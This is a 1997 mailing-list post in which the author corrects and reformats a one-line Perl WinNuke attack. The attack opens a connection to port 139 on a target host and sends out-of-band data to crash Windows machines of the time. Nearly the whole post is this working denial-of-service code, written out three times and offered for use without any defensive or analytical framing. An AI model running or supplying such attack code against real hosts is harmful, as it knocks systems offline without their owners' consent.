Re: winnuke in one line of perl5.004

Randal Schwartz (merlyn@STONEHENGE.COM)
Mon, 26 May 1997 05:57:49 -0700

>>>>> "Randal" == Randal Schwartz <merlyn@STONEHENGE.COM> writes:

Randal> perl -MIO::Socket -e 'IO::Socket::INET->new(PeerAddr=>"some.windoze.box")->send("bye",MSG_OOB)'

Randal> OK. One *slightly long* line.

Ouch. Forgot the port number. Once more, with feeling:

perl -MIO::Socket -e 'IO::Socket::INET->new(PeerAddr=>"bad.dude.com:139")->send("bye",MSG_OOB)'

And formatted so it's a little easier to read:

#!/usr/bin/perl
use IO::Socket;
IO::Socket::INET
->new(PeerAddr=>"bad.dude.com:139")
->send("bye", MSG_OOB);

There. I hope they don't take away my Perl goo-roo card for that faux
pas. :-)

--
Name: Randal L. Schwartz / Stonehenge Consulting Services (503)777-0095
Keywords: Perl training, UNIX[tm] consulting, video production, skiing, flying
Email: <merlyn@stonehenge.com> Snail: (Call) PGP-Key: (finger merlyn@ora.com)
Web: <A HREF="http://www.stonehenge.com/merlyn/">My Home Page!</A>
Quote: "I'm telling you, if I could have five lines in my .sig, I would!" -- me